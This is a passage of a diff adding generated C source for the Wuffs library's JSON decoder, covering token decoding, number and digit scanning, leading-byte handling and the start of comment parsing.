*iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ break; ++ } ++ if (0u == (v_expect & (((uint32_t)(1u)) << 4u))) { ++ v_expect = 4104u; ++ goto label__outer__continue; ++ } ++ break; ++ } else if (v_class == 2u) { ++ iop_a_src += 1u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (0u == (v_expect & (((uint32_t)(1u)) << 8u))) { ++ if (self->private_impl.f_quirks[13u]) { ++ v_expect = 4162u; ++ } else { ++ v_expect = 4098u; ++ } ++ } else { ++ if (self->private_impl.f_quirks[13u]) { ++ v_expect = 8114u; ++ } else { ++ v_expect = 7858u; ++ } ++ } ++ goto label__outer__continue; ++ } else if (v_class == 3u) { ++ iop_a_src += 1u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 7858u; ++ goto label__outer__continue; ++ } else if (v_class == 4u) { ++ while (true) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_number_length = wuffs_json__decoder__decode_number(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ v_number_status = (v_number_length >> 8u); ++ v_vminor = 10486787u; ++ if ((v_number_length & 128u) != 0u) { ++ v_vminor = 10486785u; ++ } ++ v_number_length = (v_number_length & 127u); ++ if (v_number_status == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_number_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ break; ++ } ++ while (v_number_length > 0u) { ++ v_number_length -= 1u; ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ } else { ++ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ } ++ if (v_number_status == 1u) { ++ if (self->private_impl.f_quirks[14u]) { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ status = wuffs_json__decoder__decode_inf_nan(self, a_dst, a_src); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ break; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } else if (v_number_status == 2u) { ++ status = wuffs_base__make_status(wuffs_json__error__unsupported_number_length); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(17); ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(18); ++ } ++ } ++ } ++ break; ++ } else if (v_class == 5u) { ++ v_vminor = 2113553u; ++ if (v_depth == 0u) { ++ } else if (0u != (v_expect_after_value & (((uint32_t)(1u)) << 6u))) { ++ v_vminor = 2113601u; ++ } else { ++ v_vminor = 2113569u; ++ } ++ if (v_depth >= 1024u) { ++ status = wuffs_base__make_status(wuffs_json__error__unsupported_recursion_depth); ++ goto exit; ++ } ++ v_stack_byte = (v_depth / 32u); ++ v_stack_bit = (v_depth & 31u); ++ self->private_data.f_stack[v_stack_byte] |= (((uint32_t)(1u)) << v_stack_bit); ++ v_depth += 1u; ++ iop_a_src += 1u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 4162u; ++ v_expect_after_value = 4164u; ++ goto label__outer__continue; ++ } else if (v_class == 6u) { ++ iop_a_src += 1u; ++ if (v_depth <= 1u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2101314u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__outer__break; ++ } ++ v_depth -= 1u; ++ v_stack_byte = ((v_depth - 1u) / 32u); ++ v_stack_bit = ((v_depth - 1u) & 31u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2105410u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 4356u; ++ v_expect_after_value = 4356u; ++ } else { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2113602u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 4164u; ++ v_expect_after_value = 4164u; ++ } ++ goto label__outer__continue; ++ } else if (v_class == 7u) { ++ v_vminor = 2105361u; ++ if (v_depth == 0u) { ++ } else if (0u != (v_expect_after_value & (((uint32_t)(1u)) << 6u))) { ++ v_vminor = 2105409u; ++ } else { ++ v_vminor = 2105377u; ++ } ++ if (v_depth >= 1024u) { ++ status = wuffs_base__make_status(wuffs_json__error__unsupported_recursion_depth); ++ goto exit; ++ } ++ v_stack_byte = (v_depth / 32u); ++ v_stack_bit = (v_depth & 31u); ++ self->private_data.f_stack[v_stack_byte] &= (4294967295u ^ (((uint32_t)(1u)) << v_stack_bit)); ++ v_depth += 1u; ++ iop_a_src += 1u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 8114u; ++ v_expect_after_value = 4356u; ++ goto label__outer__continue; ++ } else if (v_class == 8u) { ++ iop_a_src += 1u; ++ if (v_depth <= 1u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2101282u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__outer__break; ++ } ++ v_depth -= 1u; ++ v_stack_byte = ((v_depth - 1u) / 32u); ++ v_stack_bit = ((v_depth - 1u) & 31u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2105378u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 4356u; ++ v_expect_after_value = 4356u; ++ } else { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2113570u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 4164u; ++ v_expect_after_value = 4164u; ++ } ++ goto label__outer__continue; ++ } else if (v_class == 9u) { ++ v_match = wuffs_private_impl__io_reader__match7(iop_a_src, io2_a_src, a_src, 111546413966853u); ++ if (v_match == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(8388612u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(5u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 5u) { ++ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ iop_a_src += 5u; ++ break; ++ } else if (v_match == 1u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(19); ++ goto label__outer__continue; ++ } ++ } else if (v_class == 10u) { ++ v_match = wuffs_private_impl__io_reader__match7(iop_a_src, io2_a_src, a_src, 435762131972u); ++ if (v_match == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(8388616u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ iop_a_src += 4u; ++ break; ++ } else if (v_match == 1u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(20); ++ goto label__outer__continue; ++ } ++ } else if (v_class == 11u) { ++ v_match = wuffs_private_impl__io_reader__match7(iop_a_src, io2_a_src, a_src, 465676103172u); ++ if (v_match == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(8388610u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ iop_a_src += 4u; ++ break; ++ } else if (v_match == 1u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(21); ++ goto label__outer__continue; ++ } ++ if (self->private_impl.f_quirks[14u]) { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); ++ status = wuffs_json__decoder__decode_inf_nan(self, a_dst, a_src); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ break; ++ } ++ } else if (v_class == 12u) { ++ if (self->private_impl.f_quirks[11u] || self->private_impl.f_quirks[12u]) { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); ++ status = wuffs_json__decoder__decode_comment(self, a_dst, a_src); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_comment_type > 0u) { ++ goto label__outer__continue; ++ } ++ } ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ if (v_depth == 0u) { ++ break; ++ } ++ v_expect = v_expect_after_value; ++ } ++ label__outer__break:; ++ if (self->private_impl.f_quirks[17u] || self->private_impl.f_quirks[18u]) { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); ++ status = wuffs_json__decoder__decode_trailer(self, a_dst, a_src); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ self->private_impl.f_end_of_data = true; ++ ++ ok: ++ self->private_impl.p_decode_tokens = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_tokens = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_data.s_decode_tokens.v_depth = v_depth; ++ self->private_data.s_decode_tokens.v_expect = v_expect; ++ self->private_data.s_decode_tokens.v_expect_after_value = v_expect_after_value; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func json.decoder.decode_number ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_json__decoder__decode_number( ++ wuffs_json__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ uint8_t v_c8 = 0; ++ uint32_t v_n = 0; ++ uint32_t v_floating_point = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ do { ++ v_n = 0u; ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if ( ! (a_src && a_src->meta.closed)) { ++ v_n |= 768u; ++ } ++ break; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (v_c8 != 45u) { ++ } else { ++ v_n += 1u; ++ iop_a_src += 1u; ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if ( ! (a_src && a_src->meta.closed)) { ++ v_n |= 768u; ++ } ++ v_n |= 256u; ++ break; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ } ++ if (v_c8 == 48u) { ++ v_n += 1u; ++ iop_a_src += 1u; ++ } else { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (v_n > 99u) { ++ break; ++ } ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if ( ! (a_src && a_src->meta.closed)) { ++ v_n |= 768u; ++ } ++ break; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (v_c8 != 46u) { ++ } else { ++ if (v_n >= 99u) { ++ v_n |= 512u; ++ break; ++ } ++ v_n += 1u; ++ iop_a_src += 1u; ++ v_floating_point = 128u; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (v_n > 99u) { ++ break; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if ( ! (a_src && a_src->meta.closed)) { ++ v_n |= 768u; ++ } ++ break; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ } ++ if ((v_c8 != 69u) && (v_c8 != 101u)) { ++ break; ++ } ++ if (v_n >= 99u) { ++ v_n |= 512u; ++ break; ++ } ++ v_n += 1u; ++ iop_a_src += 1u; ++ v_floating_point = 128u; ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if ( ! (a_src && a_src->meta.closed)) { ++ v_n |= 768u; ++ } ++ v_n |= 256u; ++ break; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if ((v_c8 != 43u) && (v_c8 != 45u)) { ++ } else { ++ if (v_n >= 99u) { ++ v_n |= 512u; ++ break; ++ } ++ v_n += 1u; ++ iop_a_src += 1u; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } while (0); ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ return (v_n | v_floating_point); ++} ++ ++// -------- func json.decoder.decode_digits ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_json__decoder__decode_digits( ++ wuffs_json__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_n) { ++ uint8_t v_c8 = 0; ++ uint32_t v_n = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ v_n = a_n; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if ( ! (a_src && a_src->meta.closed)) { ++ v_n |= 768u; ++ } ++ break; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (0u == WUFFS_JSON__LUT_DECIMAL_DIGITS[v_c8]) { ++ break; ++ } ++ if (v_n >= 99u) { ++ v_n |= 512u; ++ break; ++ } ++ v_n += 1u; ++ iop_a_src += 1u; ++ } ++ if (v_n == a_n) { ++ v_n |= 256u; ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ return v_n; ++} ++ ++// -------- func json.decoder.decode_leading ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_leading( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_u = 0; ++ ++ wuffs_base__token* iop_a_dst = NULL; ++ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_leading; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_allow_leading_ars = self->private_impl.f_quirks[15u]; ++ self->private_impl.f_allow_leading_ubom = self->private_impl.f_quirks[16u]; ++ while (self->private_impl.f_allow_leading_ars || self->private_impl.f_allow_leading_ubom) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ break; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ continue; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if ((v_c8 == 30u) && self->private_impl.f_allow_leading_ars) { ++ self->private_impl.f_allow_leading_ars = false; ++ iop_a_src += 1u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ continue; ++ } else if ((v_c8 == 239u) && self->private_impl.f_allow_leading_ubom) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { ++ if (a_src && a_src->meta.closed) { ++ break; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ continue; ++ } ++ v_u = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); ++ if (v_u == 12565487u) { ++ self->private_impl.f_allow_leading_ubom = false; ++ iop_a_src += 3u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ continue; ++ } ++ } ++ break; ++ } ++ ++ ok: ++ self->private_impl.p_decode_leading = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_leading = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func json.decoder.decode_comment ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_comment( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint16_t v_c16 = 0; ++ uint32_t v_length = 0; ++ ++ wuffs_base__token* iop_a_dst = NULL; ++ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_comment; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_comment_type = 0u; ++ while ((((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) || (((uint64_t)(io2_a_src - iop_a_src)) <= 1u)) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; ++ } ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } ++ v_c16 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ if ((v_c16 == 10799u) && self->private_impl.f_quirks[11u]) { ++ iop_a_src += 2u; ++ v_length = 2u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 1u) { ++ if (v_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ } ++ v_length = 0u; ++ continue; ++ } ++ v_c16 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ if (v_c16 == 12074u) { ++ iop_a_src += 2u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)((v_length + 2u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ self->private_impl.f_comment_type = 1u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ iop_a_src += 1u; ++ if (v_length >= 65533u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)((v_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ } ++ v_length = 0u; ++ continue; ++ } ++ v_length += 1u; ++ } ++ } else if ((v_c16 == 12079u) && self->private_impl.f_quirks[12u]) { ++ iop_a_src += 2u; ++ v_length = 2u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ self->private_impl.f_comment_type = 2u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } else if (v_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_length)) << 